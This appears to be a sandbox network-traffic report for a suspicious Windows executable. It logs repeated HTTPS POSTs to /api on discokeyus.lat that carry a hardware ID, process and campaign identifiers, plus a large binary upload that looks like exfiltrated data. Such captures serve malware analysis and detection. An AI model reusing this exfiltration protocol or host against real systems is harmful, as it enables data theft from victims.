2024-12-20 15:53:10 UTC	1369	IN	Data Raw: 33 4d 57 34 65 6d 79 63 58 36 41 4e 47 52 54 41 49 49 72 6b 71 37 32 36 6b 77 43 51 77 75 78 62 36 79 50 46 6f 46 39 2b 37 37 72 59 6b 56 68 62 2b 46 6c 37 30 72 34 49 64 51 42 45 75 4b 57 71 62 44 70 53 34 55 44 79 7a 49 6f 4c 59 73 46 45 75 32 38 76 7a 38 68 77 32 55 74 39 4c 49 34 6b 44 61 30 45 45 43 53 66 45 4e 75 38 61 73 4c 77 6b 41 4a 4d 36 2b 75 44 6c 52 44 2f 72 76 2b 75 58 4f 58 34 65 69 77 38 58 2b 41 4d 79 52 53 67 6f 41 70 30 54 77 68 2b 49 6c 47 6b 52 31 69 34 43 72 4f 30 77 49 35 71 48 4a 37 74 5a 45 6c 36 72 56 79 62 38 68 77 4a 78 46 43 77 36 35 44 61 2b 48 75 32 49 46 43 47 32 54 39 72 73 34 57 41 62 78 37 66 54 67 79 46 4b 4a 71 4d 2f 42 37 77 48 47 6d 45 6f 47 42 4c 74 48 75 74 75 72 4b 77 38 4b 4a 64 6d 31 2b 33 49 55 41 75 36 6a 6f Data Ascii: 3MW4emycX6ANGRTAIIrkq726kwCQwuxb6yPFoF9+77rYkVhb+Fl70r4IdQBEuKWqbDpS4UDyzIoLYsFEu28vz8hw2Ut9LI4kDa0EECSfENu8asLwkAJM6+uDlRD/rv+uXOX4eiw8X+AMyRSgoAp0Twh+IlGkR1i4CrO0wI5qHJ7tZEl6rVyb8hwJxFCw65Da+Hu2IFCG2T9rs4WAbx7fTgyFKJqM/B7wHGmEoGBLtHuturKw8KJdm1+3IUAu6jo
2024-12-20 15:53:10 UTC	1369	IN	Data Raw: 41 6c 74 50 43 37 51 33 47 6c 33 67 77 42 36 35 5a 74 38 65 6b 49 6b 4a 4b 62 63 54 32 34 77 55 55 54 62 62 63 74 61 33 66 46 64 72 6e 38 4d 7a 7a 41 4d 53 47 56 30 4d 71 76 6c 75 36 30 75 41 45 42 52 55 6b 33 62 75 70 66 42 70 46 38 4b 4f 6a 76 59 6b 56 68 72 61 46 6c 36 31 63 6d 4d 55 56 57 56 6e 37 55 76 37 51 34 6a 52 43 58 48 2b 46 39 71 6c 38 44 45 57 78 34 4f 6e 2f 77 56 61 55 70 49 4c 78 77 79 37 49 68 6b 63 44 41 71 56 7a 6a 74 79 68 4c 41 77 44 4f 39 72 32 39 58 78 62 52 61 37 61 75 36 57 48 61 73 7a 6e 33 59 2b 6c 54 76 61 54 53 41 41 4f 76 31 7a 39 36 61 6b 30 41 77 6b 6d 78 2f 53 36 4d 55 51 43 74 71 32 37 36 34 63 4e 30 75 6d 46 79 2b 78 4f 6d 38 41 55 56 56 7a 36 47 75 43 62 76 57 77 62 52 44 75 4c 37 75 6c 79 46 42 65 32 75 37 75 71 78 45 Data Ascii: AltPC7Q3Gl3gwB65Zt8ekIkJKbcT24wUUTbbcta3fFdrn8MzzAMSGV0Mqvlu60uAEBRUk3bupfBpF8KOjvYkVhraFl61cmMUVWVn7Uv7Q4jRCXH+F9ql8DEWx4On/wVaUpILxwy7IhkcDAqVzjtyhLAwDO9r29XxbRa7au6WHaszn3Y+lTvaTSAAOv1z96ak0Awkmx/S6MUQCtq2764cN0umFy+xOm8AUVVz6GuCbvWwbRDuL7ulyFBe2u7uqxE
2024-12-20 15:53:10 UTC	1369	IN	Data Raw: 33 76 34 4f 79 4e 41 49 54 67 2f 70 46 65 4b 48 34 69 59 54 52 48 57 62 35 4f 42 70 42 31 4b 6d 73 65 53 6a 33 68 57 55 35 35 32 64 73 30 37 52 30 42 35 4f 54 71 70 66 6f 73 2b 68 4e 41 46 44 45 2f 57 51 75 44 74 53 42 76 6a 30 36 71 2f 6f 56 6f 6d 72 79 63 6a 72 4d 50 32 46 52 51 41 48 72 6c 75 68 69 65 78 69 44 55 52 31 38 76 61 71 4e 6c 4e 4a 76 71 2f 71 2f 73 6c 65 6c 4b 43 46 38 4c 4e 4f 32 39 41 65 54 6a 79 71 51 37 37 4f 74 44 4e 50 49 69 37 4d 73 4c 67 79 51 78 53 32 72 62 76 72 68 77 33 51 36 59 58 4c 37 45 36 62 77 42 52 56 58 50 6f 61 34 4a 75 39 62 42 74 45 4f 34 76 75 36 48 49 55 46 37 61 37 75 36 72 4a 57 49 4f 6b 79 38 7a 76 48 4d 57 54 55 41 31 4f 6c 33 4f 56 78 4b 38 6e 44 41 4d 54 39 5a 65 78 4c 46 6b 4b 38 64 33 46 32 74 5a 53 6b 75 58 Data Ascii: 3v4OyNAITg/pFeKH4iYTRHWb5OBpB1KmseSj3hWU552ds07R0B5OTqpfos+hNAFDE/WQuDtSBvj06q/oVomrycjrMP2FRQAHrluhiexiDUR18vaqNlNJvq/q/slelKCF8LNO29AeTjyqQ77OtDNPIi7MsLgyQxS2rbvrhw3Q6YXL7E6bwBRVXPoa4Ju9bBtEO4vu6HIUF7a7u6rJWIOky8zvHMWTUA1Ol3OVxK8nDAMT9ZexLFkK8d3F2tZSkuX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	172.67.197.170	443	5828	C:\Users\user\Desktop\XNtOBQ5NHr.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:53:11 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=08MKXVHQ8KX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12793 Host: discokeyus.lat
2024-12-20 15:53:11 UTC	12793	OUT	Data Raw: 2d 2d 30 38 4d 4b 58 56 48 51 38 4b 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 43 37 36 32 41 43 42 38 34 34 31 32 35 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 30 38 4d 4b 58 56 48 51 38 4b 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 30 38 4d 4b 58 56 48 51 38 4b 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 30 38 4d 4b 58 56 48 51 38 4b 58 0d 0a 43 6f 6e 74 Data Ascii: --08MKXVHQ8KXContent-Disposition: form-data; name="hwid"FCC762ACB844125CAC8923850305D13E--08MKXVHQ8KXContent-Disposition: form-data; name="pid"2--08MKXVHQ8KXContent-Disposition: form-data; name="lid"PsFKDg--pablo--08MKXVHQ8KXCont
2024-12-20 15:53:12 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:53:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dkigoj4uksf1cblp5703v1mj9j; expires=Tue, 15 Apr 2025 09:39:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ji%2FaFZaxI6hGKTIEGFFpqUobDpmRRnhiiZAkBGqYS%2Bn6OfagEpuX46yirdIiUI37VOicWxkE%2FgKRiEU5%2Bj5QpO3AUc2cRWFeRevsO%2Fx1dcUQatQbfJ5pxoIhelOJGK2rxA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50cdc98c3541ed-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2342&min_rtt=2206&rtt_var=1100&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2832&recv_bytes=13724&delivery_rate=884848&cwnd=211&unsent_bytes=0&cid=ffe994fba658397f&ts=1205&x=0"
2024-12-20 15:53:12 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 15:53:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	172.67.197.170	443	5828	C:\Users\user\Desktop\XNtOBQ5NHr.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:53:14 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2Z09VNV4EV30VO4ZHR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15077 Host: discokeyus.lat
2024-12-20 15:53:14 UTC	15077	OUT	Data Raw: 2d 2d 32 5a 30 39 56 4e 56 34 45 56 33 30 56 4f 34 5a 48 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 43 37 36 32 41 43 42 38 34 34 31 32 35 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 32 5a 30 39 56 4e 56 34 45 56 33 30 56 4f 34 5a 48 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 32 5a 30 39 56 4e 56 34 45 56 33 30 56 4f 34 5a 48 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --2Z09VNV4EV30VO4ZHRContent-Disposition: form-data; name="hwid"FCC762ACB844125CAC8923850305D13E--2Z09VNV4EV30VO4ZHRContent-Disposition: form-data; name="pid"2--2Z09VNV4EV30VO4ZHRContent-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-20 15:53:15 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:53:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=27423l2qni3991o4ra6182nahu; expires=Tue, 15 Apr 2025 09:39:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A7o%2FSWpVuINVaVtH1aG4PVKlFC9jESAB%2BtDmyxrGULgs3HlT%2BLPVK18SzCMy2Oob69s0XSctOWsGL1Tz1tqA%2BTFaoEcMEDe1B3H%2BYnnkzfBDevHMk61N4tsLOUwTcEMOIw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50cddc4f1041af-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1945&min_rtt=1945&rtt_var=729&sent=14&recv=20&lost=0&retrans=0&sent_bytes=2832&recv_bytes=16015&delivery_rate=1501285&cwnd=224&unsent_bytes=0&cid=d7bd3ddb1490c668&ts=946&x=0"
2024-12-20 15:53:15 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 15:53:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	172.67.197.170	443	5828	C:\Users\user\Desktop\XNtOBQ5NHr.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:53:17 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=O6ONS0SE9AAA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20531 Host: discokeyus.lat
2024-12-20 15:53:17 UTC	15331	OUT	Data Raw: 2d 2d 4f 36 4f 4e 53 30 53 45 39 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 43 37 36 32 41 43 42 38 34 34 31 32 35 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4f 36 4f 4e 53 30 53 45 39 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4f 36 4f 4e 53 30 53 45 39 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4f 36 4f 4e 53 30 53 45 39 41 41 41 0d 0a Data Ascii: --O6ONS0SE9AAAContent-Disposition: form-data; name="hwid"FCC762ACB844125CAC8923850305D13E--O6ONS0SE9AAAContent-Disposition: form-data; name="pid"3--O6ONS0SE9AAAContent-Disposition: form-data; name="lid"PsFKDg--pablo--O6ONS0SE9AAA
2024-12-20 15:53:17 UTC	5200	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: un 4F([:7s~X`nO`i
2024-12-20 15:53:18 UTC	1142	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:53:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=utdes1bnjll8jug83rp279kf5i; expires=Tue, 15 Apr 2025 09:39:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U%2Ff3yz%2FkvNDLSf8Ba%2Bpl6yjyC5%2Br%2FtOb0LvWZoW4YHxU6vLKX4dOI2sH4V%2Fvbn2ABxz1QHnFp4z5coygI9Y0yxA45hutLMPJEQeHhF1v8OnfSf%2FG%2F1tuk8CN%2FQCZsTClIw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50cdeaaf1243b2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2261&min_rtt=2239&rtt_var=884&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2832&recv_bytes=21485&delivery_rate=1208109&cwnd=238&unsent_bytes=0&cid=783fac661e129a69&ts=1308&x=0"
2024-12-20 15:53:18 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 15:53:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49710	172.67.197.170	443	5828	C:\Users\user\Desktop\XNtOBQ5NHr.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:53:19 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MOSA1WPDA924M User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1243 Host: discokeyus.lat
2024-12-20 15:53:19 UTC	1243	OUT	Data Raw: 2d 2d 4d 4f 53 41 31 57 50 44 41 39 32 34 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 43 37 36 32 41 43 42 38 34 34 31 32 35 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4d 4f 53 41 31 57 50 44 41 39 32 34 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4d 4f 53 41 31 57 50 44 41 39 32 34 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4d 4f 53 41 31 57 50 44 41 39 32 Data Ascii: --MOSA1WPDA924MContent-Disposition: form-data; name="hwid"FCC762ACB844125CAC8923850305D13E--MOSA1WPDA924MContent-Disposition: form-data; name="pid"1--MOSA1WPDA924MContent-Disposition: form-data; name="lid"PsFKDg--pablo--MOSA1WPDA92
2024-12-20 15:53:21 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:53:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g975h6bvo2stuhi6io23aht3ph; expires=Tue, 15 Apr 2025 09:40:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yVhK9%2F2sM7RMrKNyhd02x2gilUR0CHfyCJklDnZ2D04lbVPWWakECCPILyWU3mNz9pEgtrvbzQyu%2FZ493wm0KeFKYlb%2B4E%2BO2Lw1%2BCyFMwdXMKNjVesCl%2F0%2FNFr7TULE9A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50cdfc4d4643b1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1756&min_rtt=1754&rtt_var=662&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=2153&delivery_rate=1647855&cwnd=195&unsent_bytes=0&cid=a7dd0e6e27379e8a&ts=1545&x=0"
2024-12-20 15:53:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 15:53:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49719	172.67.197.170	443	5828	C:\Users\user\Desktop\XNtOBQ5NHr.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:53:23 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2BXU51TOAA39WZ7N9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551095 Host: discokeyus.lat
2024-12-20 15:53:23 UTC	15331	OUT	Data Raw: 2d 2d 32 42 58 55 35 31 54 4f 41 41 33 39 57 5a 37 4e 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 43 37 36 32 41 43 42 38 34 34 31 32 35 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 32 42 58 55 35 31 54 4f 41 41 33 39 57 5a 37 4e 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 42 58 55 35 31 54 4f 41 41 33 39 57 5a 37 4e 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --2BXU51TOAA39WZ7N9Content-Disposition: form-data; name="hwid"FCC762ACB844125CAC8923850305D13E--2BXU51TOAA39WZ7N9Content-Disposition: form-data; name="pid"1--2BXU51TOAA39WZ7N9Content-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-20 15:53:23 UTC	15331	OUT	Data Raw: d2 4d 30 09 46 27 3a cf 52 23 3d 63 f9 b6 e1 ee 1c 48 43 51 ca df 64 11 17 86 2f 47 97 d6 e4 07 4a cd 05 b0 5f 68 af 88 83 77 ca 2d d5 46 4d 4b d1 df 71 e7 fc cc 9e 28 c6 cb 6e fd 92 25 a7 78 cb de d8 f1 34 7f 4b ab c7 e3 be af c0 a2 8e 64 42 f7 0f 61 94 81 d9 68 15 ff 42 91 d4 b8 ac 44 61 9a a5 0b 74 29 55 32 6e 2d 93 45 19 12 bd 54 91 38 9e 11 41 b2 36 6d f7 95 ad 78 54 0b 4b 48 4a 6e 67 28 47 c2 42 89 de ac d9 e9 dd 82 60 59 88 91 4c 2d 3a 8d 0b b4 47 53 4b b6 3a 1d 9f 26 57 7a 3c c7 c3 5e 50 85 88 54 da 27 88 1e 23 cd 4a 8f 82 52 27 9c 19 ba 78 96 48 f3 e5 83 4c 07 d8 91 bb c8 ae 53 40 ad f2 03 fa 92 c8 d6 4e 34 3c a7 dd 0a 98 45 21 95 7c 28 50 5f 7a ac c8 0a b6 de 32 72 15 b2 5b bb 27 d5 f4 9c 69 7f f9 bd 2b 58 2b 3f 62 f3 4e 6b 73 a5 62 df fa 9c ab Data Ascii: M0F':R#=cHCQd/GJ_hw-FMKq(n%x4KdBahBDat)U2n-ET8A6mxTKHJng(GB`YL-:GSK:&Wz<^PT'#JR'xHLS@N4<E!\|(P_z2r['i+X+?bNksb
2024-12-20 15:53:23 UTC	15331	OUT	Data Raw: da f5 06 04 57 ed 45 19 c3 fa 66 c6 c3 7c 88 6f 5e 7a fe ca 8c d5 40 28 3f 31 28 d0 8a e6 90 ad da ad c5 e7 29 49 1e fa 95 da 0c c9 33 e4 ff 3c 22 8e aa 56 68 48 3c 30 10 a8 8b 57 97 94 bb 60 9d 29 54 1d 1e 7e 70 9c d6 b8 6e 9a 90 39 df c5 66 1a 56 a8 7d 33 b4 9e 79 91 26 32 2e cb 7d bd 8d 78 cb 48 17 77 d0 36 a1 f5 d2 83 d7 ca 5e a4 5e c2 a1 91 7a eb 9a 93 d5 a7 11 d9 bf 61 d1 55 f1 57 53 d9 2d ff 8d 01 57 7a 8a 43 c0 6c c1 a4 66 97 dd 23 de b7 4a 8e eb 5d b6 81 27 4a f0 1c f0 1b f8 be f5 17 ef e7 bf 59 6d f3 5c 66 f5 b2 ed d0 c6 85 bb 9d 17 5d 5e 3b f2 9a 44 7e b8 05 bb 07 6c 54 da af 5f d2 75 e7 ce 07 2d a9 b7 ff fc 53 05 4d 57 05 69 a1 8c 42 e1 0a 43 88 3a f1 e8 b3 fe 73 43 ee da 4e 19 ce 12 60 a1 f0 73 83 6e 10 18 9a 45 30 97 cb 0f c0 88 bf 9a 6a 70 Data Ascii: WEf\|o^z@(?1()I3<"VhH<0W`)T~pn9fV}3y&2.}xHw6^^zaUWS-WzClf#J]'JYm\f]^;D~lT_u-SMWiBC:sCN`snE0jp
2024-12-20 15:53:23 UTC	15331	OUT	Data Raw: 4a 5d 62 09 04 5d 36 18 bc 80 7a 10 b6 98 8b e1 4a 01 a6 ff 4c 65 45 0a fb ad 10 0a c5 2d f1 ca f6 ef 24 3a c0 e1 81 7e 2a 9f f7 0a a4 be a6 10 ba 17 8d e4 ec d4 8a c3 6e 10 a3 ce 9c 17 1d a1 bd fb d7 c4 ec bd 5b 5f 3d 8a 00 c8 8a 5e 5d 32 69 ca 11 93 4a dd 68 46 f7 a5 59 a4 3a 11 47 91 05 ff a7 47 c8 7f bb fb 53 ff 5e d9 a5 ff 0b 42 c0 d1 34 48 6b 22 c4 bc 96 00 b2 3d 3d 39 9e 7e a0 de 75 c7 c1 57 21 81 cd 7e 68 f2 03 d8 55 2c 5a 1a de ec 14 58 bc 0b c8 9e 56 60 74 fe b3 5f 7f 64 2b 66 3d 0c ac 49 72 85 95 16 ed 00 fc 65 f0 dd 70 a5 f7 fa c3 aa ca df 73 97 f3 f4 bc db d1 e7 05 b0 25 56 6a 8c 64 43 a0 40 a0 79 9c 14 d4 ce d1 98 ca e8 89 cf 61 bc ea 70 d2 45 d3 d2 2c 90 54 f3 62 cb a6 70 7a b0 06 2e a8 26 7f 86 f5 f4 c6 58 77 e4 e4 2c b3 2e 86 5c 6d 6c 4e Data Ascii: J]b]6zJLeE-$:~*n[_=^]2iJhFY:GGS^B4Hk"==9~uW!~hU,ZXV`t_d+f=Ireps%VjdC@yapE,Tbpz.&Xw,.\mlN
2024-12-20 15:53:23 UTC	15331	OUT	Data Raw: 0c 09 b0 71 83 a6 ad 41 4f 1e 51 7a db 74 c6 04 f6 9f 98 b3 2a a6 8e 62 ce e5 45 ed 4a 0a a1 e1 cf 51 5c 05 2d 7b 85 aa bc af a5 4a c3 da dd 6f 9b 48 0a 9c 2d bd f9 71 a4 1c 89 f5 f1 f3 db 0f 09 35 74 1a 73 af e1 20 68 63 2b a9 b8 c9 11 42 43 58 68 05 bf 0a d6 89 d9 7b 49 b4 c7 f6 db d8 c3 29 a8 4a fe 61 c2 8b fc e6 77 f5 73 d7 17 c2 63 af f5 1d 08 6a c3 e7 45 85 ef 00 ea a1 f4 24 61 57 e7 54 1f a1 73 00 79 e4 55 ca 83 c9 28 72 b4 17 f4 4e 21 01 10 06 20 bf fd bd 7f 1b 0f 44 ad 1e c5 49 0b 37 64 ec 6a ae 0b e3 e7 97 62 ff 12 17 53 c0 8a 1c a0 2f 07 b6 0a 55 6d c2 a5 9e 1f 5f 1b 96 33 e2 58 8f 6e 44 54 b8 28 84 f2 83 9f 1e 32 37 5a 4e 63 61 ef 3f 9e 47 ab 9c 52 14 5a ea 22 f9 81 c5 22 f0 cf 4d 6b b6 bc 6b f1 c3 2f b7 8e 3e 3e c2 29 67 bd 5b d6 24 cb 8c 1f Data Ascii: qAOQzt*bEJQ\-{JoH-q5ts hc+BCXh{I)JawscjE$aWTsyU(rN! 